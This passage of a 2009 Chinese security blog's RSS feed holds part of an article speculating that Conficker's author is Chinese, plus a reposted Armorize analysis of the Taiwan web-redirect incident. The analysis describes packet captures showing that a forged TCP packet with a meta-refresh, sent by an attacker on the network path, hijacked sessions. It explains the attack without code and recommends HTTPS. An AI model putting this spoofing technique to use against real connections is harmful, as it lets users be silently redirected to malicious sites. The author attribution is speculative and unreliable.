            &nbsp;&nbsp;&nbsp;  &ldquo;Conficker主打MS08-067漏洞，这个漏洞的详细分析最早被发布在国内技术论坛，攻击代码也是由国内的扫荡波蠕虫最先实践。&rdquo;网路论坛中，技术高手们同样将Conficker作者视为随时会在身边出没的神秘人物。据了解，出现在2004年的&ldquo;震荡波&rdquo;蠕虫作者在遭到微软25万美金悬赏通缉后，最终证明是一名德国黑客。这一次，曾制造无数木马病毒的国内黑客们很可能因重金悬赏而站在风口浪尖。而微软公司为揪出Conficker作者，再次开出了与缉拿&ldquo;震荡波&rdquo;蠕虫作者相同标准的25万美元高额悬赏金。 <br>
            <br>
            &nbsp;&nbsp;&nbsp;  Conficker如真为国内黑客制作，为何它在国内反而几乎毫无斩获，是手下留情还是另有隐情，微软中国安全研究人员&ldquo;大牛蛙&rdquo;在其个人博客中如此分析：&ldquo;360等用户群广泛的国产安全软件，通过各种醒目的方式宣传和提醒，并提供了适合用户需求的系统更新方式，很大程度上帮助了Windows使用者及时安装了补丁（表示感谢）；此外中国ISP比国外少得多，并且在骨干路由和重要节点上设置过对TCP:139/445的访问策略，中国互联网已不再是Conficker类蠕虫的温床。&rdquo; <br>
            <br>
            &nbsp;&nbsp;&nbsp;  据分析，一些黑客论坛中流行的&ldquo;木马出口论&rdquo;也为Conficker作者是国内黑客提供了有力佐证。&ldquo;黑域城堡BBS&rdquo;中一名网友透露道：&ldquo;国内网民中安全软件越来越普及，大家都意识到打补丁的重要性，&lsquo;肉鸡&rsquo;比以前已经难抓多了。现在在国内做木马赚钱越来越难，很多人写了木马却卖不动，只好苦练英语转做出口生意。&rdquo;他甚至戏言&ldquo;真想抓黑客，到英语培训班一抓一个准儿&rdquo;。 <br>
            <br>
            &nbsp;&nbsp;&nbsp;  据了解，微软IE XML 0day (MS08-078) 漏洞最早被发现，继而被出售、被利用、被公开都是在国内互联网上，最后反而是美国被挂的恶意站点远远超过了中国。巧合的是，另一款流行软件Adobe Acrobat Read在今年出现0day漏洞时，率先在国外伺机传播的Ghost木马变种正是国内&ldquo;肉鸡&rdquo;控制的常用工具，很可能也是出自国内木马作者的手笔，由此推断，Conficker作者是国内黑客绝非天方夜谭，正如某国内黑客的广告所言&mdash;&mdash;&ldquo;好病毒，中国造&rdquo;。 <br>
            <br>
            &nbsp;&nbsp;&nbsp;  360安全专家石晓虹博士郑重建议，对于Conficker可能发起的攻击必须国内互联网企业应有所防范：&ldquo;Conficker蠕虫在国内大多数用360打了补丁的网民电脑来说，其实并不会有太大的威胁。但那些可能成为Conficker攻击目标的大型网站，建议一定要在4月1日前进行一次服务器端压力测试，以防万一。此外，企事业机构的局域网更是Conficker容易传播的场所，往往一台电脑&lsquo;中招&rsquo;就会导致整个局域网出现大面积感染，企业员工除了用360尽快为电脑修复漏洞补丁外，建议用户在使用U盘前应尽量开启360等具有U盘防火墙功能的安全软件。&rdquo;</p>
            </td>
        </tr>
        <tr>
            <td colspan="2">
            <div class="smallfontnoheight" align="right"><span class="smalltitle">关键词</span>:Conficker蠕虫病毒</div>
            </td>
        </tr>
    </tbody>
</table>
</p> <a href="http://hi.baidu.com/harite/blog/item/1add8dd63ab9a02706088b41.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/harite/blog/category/%B0%B2%C8%AB%BC%BC%CA%F5">安全技术</a>&nbsp;<a href="http://hi.baidu.com/harite/blog/item/1add8dd63ab9a02706088b41.html#comment">查看评论</a>]]></description>
        <pubDate>2009年03月26日 星期四  下午 01:31</pubDate>
        <category><![CDATA[安全技术]]></category>
        <author><![CDATA[harite]]></author>
		<guid>http://hi.baidu.com/harite/blog/item/1add8dd63ab9a02706088b41.html</guid>
</item>

<item>
        <title><![CDATA[大規模網頁綁架轉址：威脅未解除，但專家都猜錯了（转载）]]></title>
        <link><![CDATA[http://hi.baidu.com/harite/blog/item/e2d4b8b745532cfc30add134.html]]></link>
        <description><![CDATA[
		
		<p>转载自&ldquo;http://armorize-cht.blogspot.com/2009/03/blog-post.html&rdquo;</p>
<p> </p>
<p>（續集見：<a target="_blank" href="http://hi.baidu.com/harite/blog/item/4c60a5c367c02a5db219a834.html"><font color="#e1771e">「大規模網頁綁架轉址之水落石出篇」</font></a><br>
）<br>
<br>
從三月初開始，網路上陸續有消息，連往tw.msn.com、taiwan.cnet.com等網站時，會被自動轉址到www.dachengkeji.com。一開始心裡想，大概又有誰的DNS沒有上patch吧，要不然就是又有DNS 0-day或又有人玩BGP了。過了幾天，威脅還是沒有解除，媒體也都紛紛報導了：<br>
<br>
<a href="http://www.zdnet.com.tw/news/web/0,2000085679,20136641,00.htm"><font color="#e1771e">神秘網頁轉址事件 疑為新型態攻擊手法，ZDNet 2009/03/05</font></a><br>
<a href="http://news.networkmagazine.com.tw/secrutiy/2009/03/05/11128/"><font color="#e1771e">DNS遭攻陷，多家知名網站慘被攔截轉址，網路資訊 2009/03/05</font></a><br>
<a href="http://news.networkmagazine.com.tw/secruity/2009/03/07/11184/"><font color="#e1771e">[教學]遭遇不明網路劫持該如何自救？網路資訊 2009/03/07</font></a><br>
<a href="http://news.networkmagazine.com.tw/secruity/2009/03/08/11190/"><font color="#e1771e">追蹤：轉址攻擊仍持續且惡意碼手法日趨成熟，網路資訊 2009/03/08</font></a><br>
<a href="http://www.ithome.com.tw/itadm/article.php?c=53832"><font color="#e1771e">微軟MSN首頁遭轉址　疑上層DNS被入侵，IThome 2009/03/06</font></a><br>
<br>
恩，這麼多的專家都說是DNS被綁架了，跟我的直覺一樣...我那時這麼想。<br>
<br>
三月七日中午，我用一台電腦上網，剛好這台的IE首頁沒有改，設的是MSN，結果一開就真的被綁架到dachengkeji了。這個dachengkeji.com，真是厲害，我心裡想，過了這麼多天，威脅都還沒解除。就在這個時候，<a href="http://armorize-cht.blogspot.com/2009/03/o0o.nu"><font color="#e1771e">o0o.nu</font></a>的fyodor yarochkin（聯絡方式：fygrave 鼠 o0o 點 nu）從MSN上傳訊息來，跟我說最近號稱「DNS綁架」造成網頁轉址的事件，根本跟DNS無關，引起了我的好奇，於是我用WireShark看了一下封包，赫然發現這絕對不是一般的DNS綁架，駭客所有的手法犀利，影響的範圍應該非常大！我在這邊將fyodor與我的研究與各位分享，希望各位如果有想法，也可以讓我們知道。<br>
<br>
這一個攻擊利用了兩個技巧：<br>
<br>
(1) <a href="http://www.networkdictionary.com/security/ipspoofing.php"><font color="#e1771e">None-blind spoofing</font></a>，而這也表示攻擊程式位於從受害者到受害網站之間的路徑上，可以監聽流量。<br>
<br>
(2) 有些 TCP/IP stack 在實做上的缺失（bug），目前測試結果微軟的系統有此缺失，但是預計還有其他作業系統會有此缺失。<br>
<br>
我用我借WireShark錄下來的封包來解釋這個攻擊手法，當時我正試圖連往http://www.gogrok.com（因為網友說這個網站也會被鎖定轉址）。我當時的IP是192.168.1.129，而gogrok的是202.157.128.202。<br>
以下我們看frame 15--我的機器對gorok送SYN。<br>
<br>
<a href="http://4.bp.blogspot.com/_hELDi5B8zOI/SbSC5rC394I/AAAAAAAABU8/s30_z_win74/s1600-h/spoof_1.png"><img style="text-align: center; margin: 0px auto 10px; display: block; cursor: hand" border="0" src="http://4.bp.blogspot.com/_hELDi5B8zOI/SbSC5rC394I/AAAAAAAABU8/s30_z_win74/s1600/spoof_1.png"></a><br>
<br>
<span class="fullpost"><br>
Frame 16中，對方送SYN/ACK，注意對方的TTL是56。<br>
<br>
<a href="http://3.bp.blogspot.com/_hELDi5B8zOI/SbSDuUl7tDI/AAAAAAAABVE/x3dBC9sIehA/s1600-h/spoof_2.png"><img style="text-align: center; margin: 0px auto 10px; display: block; cursor: hand" border="0" src="http://3.bp.blogspot.com/_hELDi5B8zOI/SbSDuUl7tDI/AAAAAAAABVE/x3dBC9sIehA/s1600/spoof_2.png"></a><br>
<br>
Frame 17，我送ACK，three way handshake完成，連線成功。Frame 18，我送http request，request（get）不會特別長，所以都在一個封包裡。注意TCP s/n=752：<br>
<br>
<a href="http://3.bp.blogspot.com/_hELDi5B8zOI/SbSFiavLDNI/AAAAAAAABVM/UVFHMQ7dcGM/s1600-h/spoof_4.png"><img style="text-align: center; margin: 0px auto 10px; display: block; cursor: hand" border="0" src="http://3.bp.blogspot.com/_hELDi5B8zOI/SbSFiavLDNI/AAAAAAAABVM/UVFHMQ7dcGM/s1600/spoof_4.png"></a><br>
<br>
Frame 19，對方回應，s/n是對的（752），可是id=0x0100，太巧了吧？TTL也突然變成=115。重點是這個封包設了FIN，另外http response內容--meta refresh轉向。FIN表示對方要中斷連線，而meta refresh則會導致我的瀏覽器轉向到www.zhonglie.org。這個這個封包其實沒有符合<a href="http://www.ietf.org/rfc/rfc0793.txt"><font color="#e1771e">RFC 793</font></a>：SYN/FIN封包不能帶其他payload；所有的payload應該在three way handshake完，FIN之前交換。<br>
<br>
<a href="http://2.bp.blogspot.com/_hELDi5B8zOI/SbSMHYXWU0I/AAAAAAAABVk/bi6USE05-qI/s1600-h/spoof_4_1.png"><img style="text-align: center; margin: 0px auto 10px; display: block; cursor: hand" border="0" src="http://2.bp.blogspot.com/_hELDi5B8zOI/SbSMHYXWU0I/AAAAAAAABVk/bi6USE05-qI/s1600/spoof_4_1.png"></a><br>
<br>
Frame 20-21，我方確定中斷連線。Frame 23是正牌網站送來的ACK，s/n是對的（752），TTL也是56，id=0x2087不是0x0100。但是比較晚到，我機器已經認為此連線中斷了，瀏覽器也被轉向了。<br>
<br>
<a href="http://2.bp.blogspot.com/_hELDi5B8zOI/SbSNximxTsI/AAAAAAAABVs/UYtR0Z6J9D8/s1600-h/spoof_6.png"><img style="text-align: center; margin: 0px auto 10px; display: block; cursor: hand" border="0" src="http://2.bp.blogspot.com/_hELDi5B8zOI/SbSNximxTsI/AAAAAAAABVs/UYtR0Z6J9D8/s1600/spoof_6.png"></a><br>
<br>
<strong>這個攻擊的特色是，第一，有正確的s/n號碼，表示攻擊程式位於route上，可以看到封包。第二，利用了有些作業系統（例如微軟）在TCP/IP stack實做上的缺失，使得整個攻擊，一個封包就搞定，乾淨俐落。</strong><br>
<br>
很多網友都有在網路上討論：<br>
<a href="http://www.mobile01.com/topicdetail.php?f=300&amp;t=962543&amp;p=1"><font color="#e1771e">「連tw.msn.com就被導向http://www.dachengkeji.com/article/index.htm」</font></a><br>
<a href="http://forum.icst.org.tw/phpbb/viewtopic.php?f=20&amp;t=16458"><font color="#e1771e">「連MSN首頁會轉址到www.dachengkeji.com/article/index.htm」</font></a><br>
<a href="http://ithelp.ithome.com.tw/question/10018209"><font color="#e1771e">「進入 iThome Blog網址自動跳轉廣告網址」</font></a><br>
<a href="http://www.avpclub.ddns.info/discuz/viewthread.php?action=printable&amp;tid=16878"><font color="#e1771e">「[求助] 連tw.msn.com就被導向http://www.dachengkeji.com/article/index.htm 」</font></a><br>
<a href="http://forum.92an.com/t12036/"><font color="#e1771e">「有辦法檢查本站是否 DNS 有被駭嗎？」</font></a>（此網域本身被鎖定，點選要小心！）<br>
<a href="http://kkbruce.blogspot.com/2009/03/twmsncom.html"><font color="#e1771e">「tw.msn.com被攻陷了嗎？」</font></a><br>
<a href="http://forum.moztw.org/viewtopic.php?p=143681#143681"><font color="#e1771e">「胡亂轉址」</font></a><br>
<a href="http://blog.yam.com/zhiqingblog/article/19778531"><font color="#e1771e">「封鎖惱人的&quot;www.dachengkeji.com&quot;大乘科技」</font></a><br>
<a href="http://www.cadch.com/modules/news/article.php?storyid=239&amp;uid=1"><font color="#e1771e">「網站新聞 : 關於tw.msn.com被導向到dachengkeji網站的反應已經漫延到我們客戶了」</font></a><br>
<a href="http://www.gohome.idv.tw/viewtopic.php?p=75404#75404"><font color="#e1771e">「[重要]連MSN首頁會轉址到www.dachengkeji.com/article/index.htm」</font></a><br>
<a href="http://bbs.ngacn.cc/read.php?tid=2242937&amp;page=e"><font color="#e1771e">「[求教] 台服官方网站是不是被别人内链了，看图说话」</font></a><br>
<a href="http://map.answerbox.net/landmark-919078.htm"><font color="#e1771e">「電腦警報:非中毒的網頁自動轉址(3/10更新)」</font></a><br>
<a href="http://social.technet.microsoft.com/Forums/zh-TW/iezhcht/thread/2386d923-0c40-478b-b590-1454d7e3bb7e#page:2"><font color="#e1771e">「連tw.msn.com就被導向http://www.dachengkeji.com/article/index.htm」</font></a><br>
<a href="http://stary9.pixnet.net/blog/post/24472102"><font color="#e1771e">網頁劫持</font></a><br>
<br>
這些討論與報導，但部分訪問專家說的，都不正確。這次的攻擊跟DNS沒有任何關係。<strong>另外，目前為止，威脅並沒有結束或降低！</strong>三月七日兩點到三點，我用那時的電腦做了些測試，發現每一次我連tw.msn.com都被轉向。但是下午約四點開始，突然不轉向了，我想大概威脅解除了，被感染的路由器修好了。可是三月八日中午，我發現威脅依然存在，但是對於每一個被鎖定轉向的網址，都只轉一次！也就是說，假設你在家裡，那麼只有在你第一次連往被鎖定之網站時，會被轉址，第二次就完全不會了。這是為何我錄的是gogrok.com而非tw.msn.com，因為轉了一次以後就不轉了。我試了很多被鎖定的網址，都是一樣，只有第一次會轉。<br>
<br>
網路上判斷比較接近我們的，有Blue在資安之眼所貼的<a href="http://www.itis.tw/node/2591"><font color="#e1771e">「關於這兩天的轉址攻擊事件」</font></a>，還有richliu所blog的<a href="http://blog.richliu.com/2009/03/05/743/"><font color="#e1771e">「某些 ISP 疑似被 hijacking攻擊」</font></a>。另外，在mobile01上，<a href="http://www.mobile01.com/userinfo.php?id=858326"><font color="#e1771e">powerpcer</font></a>有貼出他的pcap dump，我們看過手法跟我們錄的是一樣的。<br>
<br>
Cisco也在三月六號貼出了alert:<br>
<a href="http://tools.cisco.com/security/center/viewAlert.x?alertId=17778"><font color="#e1771e">CISCO:TCP Traffic on Chinese Networks Redirected to Malicious Websites</font></a><br>
<br>
我們在這邊整理整個事件相關資料，如果有網友有可以補充的，歡迎留言或email（wayne鼠armorize點com）提供我們！<br>
<br>
<strong>[攻擊技巧]</strong><br>
(1) <a href="http://www.networkdictionary.com/security/ipspoofing.php"><font color="#e1771e">None-blind spoofing</font></a>，而這也表示攻擊程式位於從受害者到受害網站之間的路徑上，可以監聽流量。<br>
(2) 有些 TCP/IP stack 在實做上的缺失（bug），目前測試結果微軟的系統有此缺失，但是預計還有其他作業系統會有此缺失。<br>
<br>
<strong>[攻擊特色]</strong><br>
(1) 攻擊程式位於route中，很可能在backbone上，故影響範圍廣大。<br>
(2) 一個封包就可以攔截session。<br>
(3) 改版後，一個網址只會轉址一次，造成追蹤困難。<br>
(4) 手法並非目前很多專家說的「DNS感染」。<br>
<br>
<strong>[遭鎖定轉址的網域]</strong><br>
根據網友的回報，目前已知遭鎖定轉址的網域有：<br>
tw.msn.com （我們自己有測試成功）<br>
www.msn.com.tw<br>
www.gogrok.com （我們自己有測試成功）<br>
taiwan.cnet.com （我們自己有測試成功）<br>
www.orzteam.com<br>
www.92an.com<br>
www.wowtaiwan.com.tw<br>
www.ioage.com<br>
www.ithome.com.tw<br>
<br>
<strong>[轉址到的網域]</strong><br>
轉址到的網域有：<br>
www.dachengkeji.com<br>
www.zhonglie.org<br>
www.yyge.com<br>
www.ganji.com<br>
<br>
<strong>[pcap封包下載]</strong><br>
我們有msn.com、cnet.com以及gogrok等三份被spoof時錄下來的封包，可以聯絡我們索取（wayne鼠armorize點com）。<br>
<br>
<strong>[如何防護]</strong><br>
由於為路徑中有節點遭控制，使用者不容易自保，建議利用https而非http連結網站(如果網站有提供https的話)。如果擔心機器已經因為被轉向而遭受攻擊，被植入惡意程式，可以來信索取阿碼科技的免費Archon Scanner：info鼠armorize點com。<br>
<br>
<strong>[資安廠商alert]</strong><br>
<a href="http://tools.cisco.com/security/center/viewAlert.x?alertId=17778"><font color="#e1771e">CISCO:TCP Traffic on Chinese Networks Redirected to Malicious Websites</font></a><br>
<br>
<strong>[相關新聞]</strong><br>
<a href="http://www.zdnet.com.tw/news/web/0,2000085679,20136641,00.htm"><font color="#e1771e">1. 神秘網頁轉址事件 疑為新型態攻擊手法，ZDNet 2009/03/05</font></a><br>
<a href="http://news.networkmagazine.com.tw/secrutiy/2009/03/05/11128/"><font color="#e1771e">2. DNS遭攻陷，多家知名網站慘被攔截轉址，網路資訊 2009/03/05</font></a><br>
<a href="http://news.networkmagazine.com.tw/secruity/2009/03/07/11184/"><font color="#e1771e">[教學]遭遇不明網路劫持該如何自救？網路資訊 2009/03/07</font></a><br>
<a href="http://news.networkmagazine.com.tw/secruity/2009/03/08/11190/"><font color="#e1771e">追蹤：轉址攻擊仍持續且惡意碼手法日趨成熟，網路資訊 2009/03/08</font></a><br>
<a href="http://www.ithome.com.tw/itadm/article.php?c=53832"><font color="#e1771e">微軟MSN首頁遭轉址　疑上層DNS被入侵，IThome 2009/03/06</font></a><br>
<br>
<strong>[相關網路討論]</strong><br>
<a href="http://www.mobile01.com/topicdetail.php?f=300&amp;t=962543&amp;p=1"><font color="#e1771e">「連tw.msn.com就被導向http://www.dachengkeji.com/article/index.htm」</font></a><br>
<a href="http://forum.icst.org.tw/phpbb/viewtopic.php?f=20&amp;t=16458"><font color="#e1771e">「連MSN首頁會轉址到www.dachengkeji.com/article/index.htm」</font></a><br>
<a href="http://ithelp.ithome.com.tw/question/10018209"><font color="#e1771e">「進入 iThome Blog網址自動跳轉廣告網址」</font></a><br>
<a href="http://www.avpclub.ddns.info/discuz/viewthread.php?action=printable&amp;tid=16878"><font color="#e1771e">「[求助] 連tw.msn.com就被導向http://www.dachengkeji.com/article/index.htm 」</font></a><br>
<a href="http://forum.92an.com/t12036/"><font color="#e1771e">「有辦法檢查本站是否 DNS 有被駭嗎？」</font></a>（此網域本身被鎖定，點選要小心！）<br>
<a href="http://kkbruce.blogspot.com/2009/03/twmsncom.html"><font color="#e1771e">「tw.msn.com被攻陷了嗎？」</font></a><br>
<a href="http://forum.moztw.org/viewtopic.php?p=143681#143681"><font color="#e1771e">「胡亂轉址」</font></a><br>
<a href="http://blog.yam.com/zhiqingblog/article/19778531"><font color="#e1771e">「封鎖惱人的&quot;www.dachengkeji.com&quot;大乘科技」</font></a><br>
<a href="http://www.cadch.com/modules/news/article.php?storyid=239&amp;uid=1"><font color="#e1771e">「網站新聞 : 關於tw.msn.com被導向到dachengkeji網站的反應已經漫延到我們客戶了」</font></a><br>
<a href="http://www.gohome.idv.tw/viewtopic.php?p=75404#75404"><font color="#e1771e">「[重要]連MSN首頁會轉址到www.dachengkeji.com/article/index.htm」</font></a><br>
<a href="http://bbs.ngacn.cc/read.php?tid=2242937&amp;page=e"><font color="#e1771e">「[求教] 台服官方网站是不是被别人内链了，看图说话」</font></a><br>
<a href="http://map.answerbox.net/landmark-919078.htm"><font color="#e1771e">「電腦警報:非中毒的網頁自動轉址(3/10更新)」</font></a><br>
<a href="http://social.technet.microsoft.com/Forums/zh-TW/iezhcht/thread/2386d923-0c40-478b-b590-1454d7e3bb7e#page:2"><font color="#e1771e">「連tw.msn.com就被導向http://www.dachengkeji.com/article/index.htm」</font></a><br>
<a href="http://stary9.pixnet.net/blog/post/24472102"><font color="#e1771e">網頁劫持</font></a><br>
<br>
作者 Wayne 為 <a href="http://www.armorize.com/"><font color="#e1771e">阿碼科技</font></a>CEO<br>
作者 Fyodor Yarochkin 為 <a href="http://www.o0o.nu/"><font color="#e1771e">o0o.nu</font></a> 成員<br>
<br>
續集：<a target="_blank" href="http://hi.baidu.com/harite/blog/item/4c60a5c367c02a5db219a834.html"><font color="#e1771e">「大規模網頁綁架轉址之水落石出篇」</font></a><br>
</span></p> <a href="http://hi.baidu.com/harite/blog/item/e2d4b8b745532cfc30add134.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/harite/blog/category/%B0%B2%C8%AB%BC%BC%CA%F5">安全技术</a>&nbsp;<a href="http://hi.baidu.com/harite/blog/item/e2d4b8b745532cfc30add134.html#comment">查看评论</a>]]></description>
        <pubDate>2009年03月13日 星期五  下午 08:15</pubDate>
        <category><![CDATA[安全技术]]></category>
        <author><![CDATA[harite]]></author>
		<guid>http://hi.baidu.com/harite/blog/item/e2d4b8b745532cfc30add134.html</guid>
</item>


</channel>
</rss>